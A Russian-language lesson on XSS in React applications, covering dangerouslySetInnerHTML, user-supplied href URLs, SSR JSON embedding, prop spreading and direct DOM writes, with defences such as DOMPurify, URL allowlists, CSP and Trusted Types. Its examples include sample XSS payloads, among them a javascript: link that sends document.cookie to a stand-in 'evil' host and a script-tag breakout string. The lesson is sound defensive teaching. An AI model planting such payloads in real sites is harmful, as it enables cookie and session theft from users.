re:re:actable
Урок 154 минуты чтения

Безопасность React-приложения: XSS и dangerouslySetInnerHTML

На этой странице
Кратко

React по умолчанию защищает от XSS: значения в JSX ({comment.text}) экранируются и вставляются как текст, а не как HTML. Дыры появляются там, где разработчик обходит эту защиту: dangerouslySetInnerHTML с непроверенным HTML, URL из пользовательских данных в href/src (javascript:alert(1)), сериализация данных в HTML при SSR (</script> внутри JSON), динамические атрибуты и спред props из внешних источников, прямая работа с DOM (innerHTML в эффектах, сторонние библиотеки). Защита: санитизация HTML (DOMPurify), белый список протоколов для ссылок, экранирование < при встраивании JSON, Content Security Policy и Trusted Types, а также серверные проверки — фронтенд не является границей безопасности.

Вопрос

Защищает ли React от XSS? Где в React-приложении всё-таки возникают уязвимости и как их закрыть?

Что React делает сам

const comment = '<img src=x onerror="alert(document.cookie)">';
 
<p>{comment}</p>
// В DOM попадёт текст: &lt;img src=x onerror=...&gt; — скрипт не выполнится

React создаёт текстовые узлы и выставляет атрибуты через DOM API, поэтому строка не интерпретируется как разметка.

Дыра 1: dangerouslySetInnerHTML

// ✗ Опасно: HTML из CMS, комментариев, Markdown-рендера без санитизации
<article dangerouslySetInnerHTML={{ __html: post.html }} />
// ✓ Санитизация перед вставкой
import DOMPurify from 'dompurify';
 
function PostBody({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'a', 'strong', 'em', 'ul', 'ol', 'li', 'code', 'pre', 'h2', 'h3', 'img'],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title'],
  });
  return <article dangerouslySetInnerHTML={{ __html: clean }} />;
}
  • На сервере (SSR, Server Components) используют isomorphic-dompurify или санитизируют при сохранении.
  • Для Markdown лучше рендерить в React-элементы (react-markdown) без сырого HTML, чем в строку.
  • Название API специально «опасное» — на код-ревью каждое использование должно иметь объяснение.

Дыра 2: ссылки из пользовательских данных

// ✗ Пользователь указал в профиле сайт "javascript:fetch('//evil?c='+document.cookie)"
<a href={user.website}>Сайт автора</a>
// ✓ Белый список протоколов
function safeUrl(value) {
  try {
    const url = new URL(value, window.location.origin);
    return ['http:', 'https:', 'mailto:'].includes(url.protocol) ? url.href : undefined;
  } catch {
    return undefined;
  }
}
 
<a href={safeUrl(user.website)} rel="noopener noreferrer nofollow" target="_blank">Сайт автора</a>

React 19 блокирует javascript: в href и предупреждает в dev, но полагаться только на это не стоит: опасны и data:-URL, и подмена домена (фишинг). Проверяй URL и на сервере при сохранении.

Дыра 3: данные в HTML при SSR

// ✗ Если в state есть строка "</script><script>alert(1)</script>", тег закроется
<script dangerouslySetInnerHTML={{ __html: `window.__STATE__ = ${JSON.stringify(state)}` }} />
 
// ✓ Экранировать "<"
const json = JSON.stringify(state).replace(/</g, '\\u003c');
<script dangerouslySetInnerHTML={{ __html: `window.__STATE__ = ${json}` }} />

То же для JSON-LD. Фреймворки (Next.js, React Router) сериализуют свои данные безопасно — опасен именно ручной код.

Дыра 4: спред внешних props и динамические атрибуты

// ✗ Объект из API целиком в props: можно протащить href, style, dangerouslySetInnerHTML
<Link {...cmsBlock.props} />
 
// ✓ Явно выбирать разрешённые поля
<Link href={safeUrl(cmsBlock.url)} title={cmsBlock.title}>{cmsBlock.text}</Link>

Не строй имена компонентов, тегов и атрибутов из пользовательского ввода.

Дыра 5: обход React

useEffect(() => {
  ref.current.innerHTML = widgetHtml; // React-защиты здесь нет
}, [widgetHtml]);

Сюда же — сторонние виджеты, eval, new Function, вставка скриптов по URL из данных.

Слои защиты

СлойЧто даёт
Экранирование ReactБазовая защита текста
DOMPurifyБезопасный HTML из внешних источников
Проверка URLНет javascript:/data: в ссылках
CSP (Content-Security-Policy) с nonceДаже при инъекции чужой скрипт не выполнится
Trusted TypesБраузер запрещает строки в innerHTML и другие «стоки»; React 19.3 поддерживает передачу TrustedHTML
HttpOnly-cookiesСкрипт не украдёт сессию
Серверная валидацияФронтенд можно обойти, сервер — нет

Секреты на клиенте

Всё, что попало в клиентский бандл, публично: переменные VITE_*/NEXT_PUBLIC_*, props клиентских компонентов, ответы API. Ключи платёжных систем, токены БД и приватные API-ключи — только на сервере. В Next.js модули с секретами помечают import 'server-only'.

Что важно помнить

  • {value} безопасен, dangerouslySetInnerHTML — нет без санитизации.
  • URL из данных проверяют по протоколу.
  • JSON в <script> — с экранированием <.
  • CSP и HttpOnly-cookies снижают ущерб, если что-то пропустили.
  • Авторизация и проверки — на сервере.

Мини-шпаргалка

JSX экранирует текст ✔
dangerouslySetInnerHTML → DOMPurify
href из данных → только http/https/mailto
JSON в <script> → .replace(/</g, '\\u003c')
Не спредить внешние объекты в props
CSP + Trusted Types + HttpOnly cookies
Секреты не в клиентском бандле

Документация

Дочитали до конца?
Отметьте урок — прогресс сохранится в браузере.

Поиск

Поиск по урокам